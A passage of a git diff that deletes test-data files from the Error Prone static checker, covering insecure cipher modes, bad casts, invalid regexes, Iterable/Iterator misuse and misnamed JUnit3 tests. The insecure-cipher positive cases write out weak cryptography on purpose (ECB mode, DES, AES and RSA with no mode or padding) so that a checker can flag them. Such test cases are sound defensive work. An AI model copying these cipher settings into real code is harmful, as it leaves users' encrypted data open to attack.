distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.security.KeyFactory; -import java.security.KeyPairGenerator; -import java.security.NoSuchAlgorithmException; -import java.security.NoSuchProviderException; -import javax.crypto.Cipher; -import javax.crypto.KeyAgreement; -import javax.crypto.NoSuchPaddingException; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class InsecureCipherModePositiveCases { - static Cipher defaultAesCipher; - - static { - try { - // BUG: Diagnostic contains: the mode and padding must be explicitly specified - defaultAesCipher = Cipher.getInstance("AES"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher defaultRsaCipher; - - static { - try { - // BUG: Diagnostic contains: the mode and padding must be explicitly specified - defaultRsaCipher = Cipher.getInstance("RSA"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static final String AES_STRING = "AES"; - static Cipher defaultAesCipherWithConstantString; - - static { - try { - // BUG: Diagnostic contains: the mode and padding must be explicitly specified - defaultAesCipherWithConstantString = Cipher.getInstance(AES_STRING); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher explicitAesCipher; - - static { - try { - // BUG: Diagnostic contains: ECB mode must not be used - explicitAesCipher = Cipher.getInstance("AES/ECB/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher explicitDesCipher; - - static { - try { - // BUG: Diagnostic contains: ECB mode must not be used - explicitDesCipher = Cipher.getInstance("DES/ECB/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher explicitDesCipherWithProvider; - - static { - try { - // BUG: Diagnostic contains: ECB mode must not be used - explicitDesCipherWithProvider = Cipher.getInstance("DES/ECB/NoPadding", "My Provider"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchProviderException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static String transformation; - - static { - try { - transformation = "DES/CBC/NoPadding"; - // BUG: Diagnostic contains: the transformation is not a compile-time constant - Cipher cipher = Cipher.getInstance(transformation); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static void transformationAsParameter(String transformation) { - try { - // BUG: Diagnostic contains: the transformation is not a compile-time constant - Cipher cipher = Cipher.getInstance(transformation); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - class CipherWrapper { - Cipher cipher; - - // Make sure that the checker is enabled inside constructors. - public CipherWrapper() { - try { - // BUG: Diagnostic contains: the mode and padding must be explicitly specified - cipher = Cipher.getInstance("AES"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - } - - static Cipher complexCipher1; - - static { - try { - String algorithm = "AES"; - // BUG: Diagnostic contains: the transformation is not a compile-time constant - complexCipher1 = Cipher.getInstance(algorithm); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher complexCipher2; - - static { - try { - String transformation = "AES"; - transformation += "/ECB"; - transformation += "/NoPadding"; - // BUG: Diagnostic contains: the transformation is not a compile-time constant - complexCipher2 = Cipher.getInstance(transformation); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher IesCipher; - - static { - try { - // BUG: Diagnostic contains: the mode and padding must be explicitly specified - IesCipher = Cipher.getInstance("ECIES"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIES/DHAES/NoPadding"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIESWITHAES/NONE/PKCS5Padding"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("DHIESWITHAES/DHAES/PKCS7Padding"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIESWITHDESEDE/NONE/NOPADDING"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("DHIESWITHDESEDE/DHAES/PKCS5PADDING"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIESWITHAES/CBC/PKCS7PADDING"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIESWITHAES-CBC/NONE/PKCS5PADDING"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIESwithDESEDE-CBC/DHAES/NOPADDING"); - - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - interface StringProvider { - String get(); - } - - public void keyOperations(StringProvider provider) { - KeyFactory keyFactory; - KeyAgreement keyAgreement; - KeyPairGenerator keyPairGenerator; - final String dh = "DH"; - try { - // BUG: Diagnostic contains: compile-time constant - keyFactory = KeyFactory.getInstance(provider.get()); - // BUG: Diagnostic contains: Diffie-Hellman on prime fields - keyFactory = KeyFactory.getInstance(dh); - // BUG: Diagnostic contains: DSA - keyAgreement = KeyAgreement.getInstance("DSA"); - // BUG: Diagnostic contains: compile-time constant - keyAgreement = KeyAgreement.getInstance(provider.get()); - // BUG: Diagnostic contains: Diffie-Hellman on prime fields - keyPairGenerator = KeyPairGenerator.getInstance(dh); - // BUG: Diagnostic contains: compile-time constant - keyPairGenerator = KeyPairGenerator.getInstance(provider.get()); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypeNegativeCases.java deleted file mode 100644 index 927fce23174..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypeNegativeCases.java +++ /dev/null @@ -1,283 +0,0 @@ -/* Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.io.FilterWriter; -import java.io.StringWriter; -import java.io.Writer; - -/** - * Created by sulku and mariasam on 6/6/17. - * - * @author mariasam (Maria Sam) - * @author sulku (Marsela Sulku) - */ -public class InstanceOfAndCastMatchWrongTypeNegativeCases { - - public static void notCustomClass(Object objSubClass) { - if (!(objSubClass instanceof SuperNegativeClass)) { - DisjointClass str = (DisjointClass) objSubClass; - } - } - - public static void hi(String foo) { - if (foo instanceof String) { - ((String) foo).charAt(0); - } - } - - public static void castToSameClass(String foo) { - if (foo instanceof String) { - ((String) foo).charAt(0); - } - } - - public static void castToSameClassWithExtraLines(String foo) { - if (foo instanceof String) { - String somethingBefore = "hello"; - ((String) foo).charAt(0); - String somethingAfter = "goodbye"; - } - } - - public static void castAMethod() { - if (testCall() instanceof String) { - String bar = (String) testCall(); - } - } - - public static void castToSuperType(String foo) { - if (foo instanceof String) { - Object bar = ((Object) foo).toString(); - } - } - - public static void castMethodToSuperType(String foo) { - if (testCall() instanceof String) { - Object bar = (Object) testCall(); - } - } - - public static void castToCustomSuperType() { - SuperNegativeClass superClass = new SuperNegativeClass(); - SubNegativeClass subClass = new SubNegativeClass(); - - if (subClass instanceof SubNegativeClass) { - String str = ((SuperNegativeClass) subClass).toString(); - } - } - - public static void castToSubtype(String foo) { - if (foo instanceof Object) { - String somethingBefore = "hello"; - String bar = ((String) foo).toString(); - String somethingAfter = "goodbye"; - } - } - - public static void nestedIfStatements(String foo) { - if (7 == 7) { - if (foo instanceof Object) { - String bar = ((String) foo).toString(); - } - } - } - - public static void castMethodToSubType() { - if (testCall() instanceof Object) { - String bar = ((String) testCall()).toString(); - } - } - - public static void castAMethodInElse() { - if (testCall() instanceof Object) { - String str = ""; - } else { - String bar = ((String) testCall()).toString(); - } - } - - public static void nestedIfOutside() { - SubNegativeClass subClass = new SubNegativeClass(); - if (subClass instanceof SuperNegativeClass) { - if (7 == 7) { - String bar = ((SuperNegativeClass) subClass).toString(); - } - } - } - - public static void nestedIfElseInIf() { - SubNegativeClass subClass = new SubNegativeClass(); - if (subClass instanceof SuperNegativeClass) { - if (7 == 7) { - String bar = ((SuperNegativeClass) subClass).toString(); - } else { - String str = ""; - } - } - } - - public static void elseIfMethod() { - if (testCall() instanceof Object) { - String str = ""; - } else if (7 == 7) { - String bar = ((String) testCall()).toString(); - } else { - String str = ""; - } - } - - public static void nestedSubClasses(Object objSubClass) { - if (objSubClass instanceof SuperNegativeClass) { - if (objSubClass instanceof DisjointClass) { - DisjointClass disClass = (DisjointClass) objSubClass; - } - } - } - - public static void switchCaseStatement(Object objSubClass) { - Integer datatype = 0; - if (objSubClass instanceof SuperNegativeClass) { - String str = ""; - } else { - switch (datatype) { - case 0: - DisjointClass str = (DisjointClass) objSubClass; - break; - default: - break; - } - } - } - - public static void nestedAnd(String foo, Object foo3) { - if (foo instanceof String) { - if (foo3 instanceof SuperNegativeClass && ((SuperNegativeClass) foo3).toString().equals("")) { - String str = foo3.toString(); - } - } - } - - private static void multipleElseIf(Object foo3) { - if (foo3 instanceof String) { - String str = ""; - } else if (7 == 7 && foo3 instanceof SuperNegativeClass) { - ((SuperNegativeClass) foo3).toString(); - } else if (8 == 8) { - DisjointClass dis = (DisjointClass) foo3; - } - } - - private static void orInCondition(Object foo3) { - if (foo3 instanceof String || 7 == 7) { - String str = ((DisjointClass) foo3).toString(); - } - } - - private static void castInElse(Object foo3) { - if (foo3 instanceof String) { - String str = ""; - } else { - String str = ((DisjointClass) foo3).toString(); - } - } - - private static void multipleObjectCasts(Object foo2, Object foo3) { - if (foo3 instanceof String) { - String str = ((DisjointClass) foo2).toString(); - } else { - String str = ((DisjointClass) foo3).toString(); - } - } - - private static void orsAndAnds(Object foo2) { - if (7 == 7 && (foo2 instanceof DisjointClass) && (!((DisjointClass) foo2).equals(""))) { - String str = ""; - } - } - - private static void assignmentInBlock(Object foo2) { - if (foo2 instanceof SuperNegativeClass) { - foo2 = ""; - String str = ((Integer) foo2).toString(); - } - } - - private static void assignmentInBlockElse(Object foo2) { - String foo1; - if (foo2 instanceof SuperNegativeClass) { - String str = ""; - } else { - foo1 = ""; - String str = ((Integer) foo2).toString(); - } - } - - private static void assignmentInBlockElseIf(Object foo2) { - Object foo1 = null; - if (foo2 instanceof SuperNegativeClass) { - String str = ""; - } else if (foo2 == foo1) { - foo1 = ""; - String str = ((Integer) foo2).toString(); - } - } - - private static void innerClassDecl(Object[] list) { - for (Object c : list) { - if (c instanceof String) { - try { - Writer fw = - new FilterWriter(new StringWriter()) { - public void write(int c) { - char a = (char) c; - } - }; - } catch (Exception e) { - String str = ""; - } - } - } - } - - private static void randomCode(Object foo) { - if (7 == 7) { - System.out.println("test"); - foo = (Integer) foo; - } - } - - private static void twoAssignments(Object foo, Object foo2) { - if (foo instanceof String) { - foo2 = ""; - String str = (String) foo; - foo = ""; - } - } - - public static String testCall() { - return ""; - } - - public static Object testCallReturnsObject() { - return new Object(); - } - - static class SuperNegativeClass {} - - static class SubNegativeClass extends SuperNegativeClass {} - - static class DisjointClass {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypePositiveCases.java deleted file mode 100644 index 7b776c622e4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypePositiveCases.java +++ /dev/null @@ -1,172 +0,0 @@ -/* Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * Created by sulku and mariasam on 6/6/17. - * - * @author mariasam (Maria Sam) - * @author sulku (Marsela Sulku) - */ -public class InstanceOfAndCastMatchWrongTypePositiveCases { - - private static void basicIllegalCast(Object foo2) { - if (foo2 instanceof SuperClass) { - // BUG: Diagnostic contains: Casting inside - String str = ((String) foo2).toString(); - } - } - - private static void basicIllegalCastJavaClass(Object foo2) { - if (foo2 instanceof String) { - // BUG: Diagnostic contains: Casting inside - double val = ((Integer) foo2).doubleValue(); - } - } - - private static void andsInIf(Object foo2) { - if (foo2 instanceof String && 7 == 7) { - // BUG: Diagnostic contains: Casting inside - double val = ((Integer) foo2).doubleValue(); - } - } - - private static void andsInIfInstanceOfLast(Object foo2) { - if (7 == 7 && foo2 instanceof String) { - // BUG: Diagnostic contains: Casting inside - double val = ((Integer) foo2).doubleValue(); - } - } - - private static void andsInIfInstanceOfMiddle(Object foo2) { - if (7 == 7 && foo2 instanceof String && 8 == 8) { - // BUG: Diagnostic contains: Casting inside - double val = ((Integer) foo2).doubleValue(); - } - } - - private static void castingInIfWithElse(Object foo2) { - if (foo2 instanceof String) { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } else { - String str = ""; - } - } - - private static void castMultipleInIfAndElse(Object foo2, Object foo3) { - if (foo2 instanceof String) { - String str = ((Integer) foo3).toString(); - // BUG: Diagnostic contains: Casting inside - String str2 = ((Integer) foo2).toString(); - } else { - String str = ((Integer) foo3).toString(); - String str2 = ""; - } - } - - private static void multipleAndsInIf(Object foo2) { - // BUG: Diagnostic contains: Casting inside - if (7 == 7 && (foo2 instanceof SuperClass) && (((String) foo2).equals(""))) { - String str = ""; - } - } - - private static void castOneObjectWithMultipleObjectsInIf(Object foo2, Object foo3) { - if (7 == 7 && foo3 instanceof String && foo2 instanceof String) { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } - } - - private static void aboveTestButDifferentOrder(Object foo2, Object foo3) { - if (7 == 7 && foo2 instanceof String && foo3 instanceof String) { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } - } - - private static void nestedIf(Object foo2) { - if (foo2 instanceof String) { - if (7 == 7) { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } - } - } - - private static void nestedIfWithElse(Object foo2) { - if (foo2 instanceof String) { - if (7 == 7) { - String str = ""; - } else { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } - } - } - - private static void assignmentInBlockDiffVariable(Object foo2) { - String foo1; - if (foo2 instanceof SuperClass) { - foo1 = ""; - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } - } - - private static void assignmentInBlock(Object foo2) { - if (foo2 instanceof SuperClass) { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - foo2 = ""; - } - } - - private static void assignmentInBlockTwice(Object foo2) { - Object foo1 = null; - if (foo2 instanceof SuperClass) { - foo1 = ""; - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - foo2 = ""; - } - } - - private static void testSameClass(Object foo) { - if (foo instanceof String) { - InstanceOfAndCastMatchWrongTypePositiveCases other = - // BUG: Diagnostic contains: Casting inside - (InstanceOfAndCastMatchWrongTypePositiveCases) foo; - } - } - - private static void testElseIf(Object foo) { - if (foo instanceof String) { - String str = (String) foo; - } else if (foo instanceof String) { - // BUG: Diagnostic contains: Casting inside - Integer i = (Integer) foo; - } else { - foo = (SuperClass) foo; - } - } - - public static String testCall() { - return ""; - } -} - -class SuperClass {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxNegativeCases.java deleted file mode 100644 index daa7d2dac8e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxNegativeCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.regex.Pattern; - -/** - * @author mdempsky@google.com (Matthew Dempsky) - */ -public class InvalidPatternSyntaxNegativeCases { - public void foo(String x) { - Pattern.compile("t"); - Pattern.compile("t", 0); - Pattern.matches("t", ""); - "".matches("t"); - "".replaceAll("t", ""); - "".replaceFirst("t", ""); - "".split("t"); - "".split("t", 0); - - Pattern.compile(x); - Pattern.compile(x, 0); - Pattern.matches(x, ""); - "".matches(x); - "".replaceAll(x, ""); - "".replaceFirst(x, ""); - "".split(x); - "".split(x, 0); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxPositiveCases.java deleted file mode 100644 index 545f6448832..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxPositiveCases.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.regex.Pattern; - -/** - * @author mdempsky@google.com (Matthew Dempsky) - */ -public class InvalidPatternSyntaxPositiveCases { - public static final String INVALID = "*"; - - { - // BUG: Diagnostic contains: Unclosed character class - Pattern.matches("[^\\]", ""); - // BUG: Diagnostic contains: Unclosed character class - Pattern.matches("[a-z", ""); - // BUG: Diagnostic contains: Illegal repetition - Pattern.matches("{", ""); - - // BUG: Diagnostic contains: - Pattern.matches(INVALID, ""); - // BUG: Diagnostic contains: - "".matches(INVALID); - // BUG: Diagnostic contains: - "".replaceAll(INVALID, ""); - // BUG: Diagnostic contains: - "".replaceFirst(INVALID, ""); - // BUG: Diagnostic contains: - "".split(INVALID); - // BUG: Diagnostic contains: - "".split(INVALID, 0); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorNegativeCases.java deleted file mode 100644 index 8523c14427a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorNegativeCases.java +++ /dev/null @@ -1,78 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Iterator; - -/** - * @author jsjeon@google.com (Jinseong Jeon) - */ -public class IterableAndIteratorNegativeCases { - - /** Test Node */ - public static class MyNode { - String tag; - MyNode next; - } - - /** Test List that implements only Iterator */ - public static class MyList1 implements Iterator { - private MyNode head; - - public MyList1() { - head = null; - } - - @Override - public boolean hasNext() { - return head != null; - } - - @Override - public MyNode next() { - if (hasNext()) { - MyNode ret = head; - head = head.next; - return ret; - } - return null; - } - - @Override - public void remove() { - throw new UnsupportedOperationException("remove is not supported"); - } - - public void add(MyNode node) { - if (!hasNext()) { - head.next = node; - } - head = node; - } - } - - /** Test List that implements only Iterable */ - public static class MyList2 implements Iterable { - - @Override - public Iterator iterator() { - MyList1 l = new MyList1(); - // code to populate the list goes here - return l; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorPositiveCases.java deleted file mode 100644 index 801b45bdab5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorPositiveCases.java +++ /dev/null @@ -1,126 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Iterator; - -/** - * @author jsjeon@google.com (Jinseong Jeon) - */ -public class IterableAndIteratorPositiveCases { - - /** Test Node */ - public static class MyNode { - String tag; - MyNode next; - } - - /** Test List that implements both Iterator and Iterable */ - // BUG: Diagnostic contains: both - public static class MyBadList implements Iterator, Iterable { - private MyNode head; - - public MyBadList() { - head = null; - } - - @Override - public boolean hasNext() { - return head != null; - } - - @Override - public MyNode next() { - if (hasNext()) { - MyNode ret = head; - head = head.next; - return ret; - } - return null; - } - - @Override - public void remove() { - throw new UnsupportedOperationException("remove is not supported"); - } - - public void add(MyNode node) { - if (!hasNext()) { - head.next = node; - } - head = node; - } - - @Override - public Iterator iterator() { - return this; - } - } - - /** Test List that extends the above bad implementation Diagnostic should bypass this */ - public static class MyBadListInherited extends MyBadList { - public MyBadListInherited() {} - } - - /** Test List that implements only Iterator */ - public static class MyGoodList implements Iterator { - private MyNode head; - - public MyGoodList() { - head = null; - } - - @Override - public boolean hasNext() { - return head != null; - } - - @Override - public MyNode next() { - if (hasNext()) { - MyNode ret = head; - head = head.next; - return ret; - } - return null; - } - - @Override - public void remove() { - throw new UnsupportedOperationException("remove is not supported"); - } - - public void add(MyNode node) { - if (!hasNext()) { - head.next = node; - } - head = node; - } - } - - /** Test List that implicitly implements both interfaces */ - // BUG: Diagnostic contains: both - public static class MyImplicitlyBadList extends MyGoodList implements Iterable { - - public MyImplicitlyBadList() {} - - @Override - public Iterator iterator() { - return this; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase1.java deleted file mode 100644 index f06a944dfad..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase1.java +++ /dev/null @@ -1,70 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Ignore; -import org.junit.Test; - -/** - * @author rburny@google.com (Radoslaw Burny) - */ -public class JUnit3TestNotRunNegativeCase1 extends TestCase { - - // correctly spelled - public void test() {} - - public void testCorrectlySpelled() {} - - // real words - public void bestNameEver() {} - - public void destroy() {} - - public void restore() {} - - public void establish() {} - - public void estimate() {} - - // different signature - public boolean teslaInventedLightbulb() { - return true; - } - - public void tesselate(float f) {} - - // surrounding class is not a JUnit3 TestCase - private static class TestCase { - private void tesHelper() {} - - private void destroy() {} - } - - // correct test, despite redundant annotation - @Test - public void testILikeAnnotations() {} - - // both @Test & @Ignore - @Test - @Ignore - public void ignoredTest2() {} - - @Ignore - @Test - public void ignoredTest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase2.java deleted file mode 100644 index 3d72ff6f5c4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase2.java +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * JUnit4 test class - we should not issue errors on that. - * - * @author rburny@google.com (Radoslaw Burny) - */ -@RunWith(JUnit4.class) -public class JUnit3TestNotRunNegativeCase2 { - - // JUnit4 tests should be ignored, no matter what their names are. - @Test - public void nameDoesNotStartWithTest() {} - - @Test - public void tesName() {} - - @Test - public void tstName() {} - - @Test - public void TestName() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase3.java deleted file mode 100644 index 62b72abfb98..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase3.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runner.Runner; - -/** - * Tricky case - mixed JUnit3 and JUnit4. - * - * @author rburny@google.com (Radoslaw Burny) - */ -@RunWith(Runner.class) -public class JUnit3TestNotRunNegativeCase3 extends TestCase { - - @Test - public void name() {} - - public void tesMisspelled() {} - - @Test - public void tesBothIssuesAtOnce() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase4.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase4.java deleted file mode 100644 index 697f7ac2530..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase4.java +++ /dev/null @@ -1,36 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Test; - -/** - * Abstract class - let's ignore those for now, it's hard to say what are they run with. - * - * @author rburny@google.com (Radoslaw Burny) - */ -public abstract class JUnit3TestNotRunNegativeCase4 extends TestCase { - - @Test - public void name() {} - - public void tesMisspelled() {} - - @Test - public void tesBothIssuesAtOnce() {} -} diff --git 